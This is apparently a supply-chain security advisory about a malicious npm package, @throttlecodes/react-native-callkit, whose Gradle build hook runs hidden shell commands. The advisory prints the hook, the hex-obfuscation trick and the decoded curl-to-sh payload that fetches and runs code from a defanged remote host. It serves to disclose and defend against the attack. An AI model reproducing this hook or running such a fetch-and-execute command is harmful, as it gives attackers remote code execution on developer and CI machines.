@throttlecodes/react-native-callkit@1.0.2
Malicious code in @throttlecodes/react-native-callkit (npm)
Analysis
@throttlecodes/react-native-callkit@1.0.2 ships a malicious Gradle build hook in its bundled android/build.gradle. The file ends with `tasks.all { if (name.contains("preBuild")) { doLast { ["sh","-c", …].execute() } } }`, so every Android build of any app that includes this package executes a shell command in the background with output suppressed (`>/dev/null 2>&1 &`). The command hides its payload as a hex string and decodes it at runtime with a hand-rolled `xxd -p -r` shim (`printf 'xWxd' | tr -d 'W'`), then pipes the decoded text into `sh`. Decoded, the payload is: `echo "$(curl --connect-timeout 25 -skfL --retry 4 -d "p=android_gradle" hxxps://vu18fendn1ovhg[.]best/a)" | sh` — it POSTs the marker `p=android_gradle` to the remote host and executes whatever shell script the server returns, giving the operator remote code execution on the developer/build machine (and CI runners) at build time. The package's description claims "manual setup — No automatic code modification", yet it modifies the host app's Gradle build; it also ships full android/build/ intermediates and references a different upstream name (react-native-drago-callkit) throughout its README and native code. IOCs: hxxps://vu18fendn1ovhg[.]best/a (POST body `p=android_gradle`).
- analyzed by
- Leitwacht
- first seen
- Nov 23, 2026, 09:37 AM
- analyzed
- Nov 23, 2026, 09:37 AM
hxxps://github[.]com/throttlecodes/react-native-callkit Request takedown / dispute →Related advisories
- vcdxg-eavtg-util@1.0.1
- ardanbaileys@1.2.1
- nobiztoblut-bot@1.2.4
- @dinzid/bailstaov1@0.1.0
- dct-dula-dev-baileys@1.0.3
- smfos-bskdz-util@1.0.1
- jmrwd-gjdob-util@1.0.1
- teahy-znrpz-util@1.0.0
Independently detected by the Leitwacht supply-chain probe. IOCs are defanged. Published CC0. Think this is a mistake? See the dispute policy.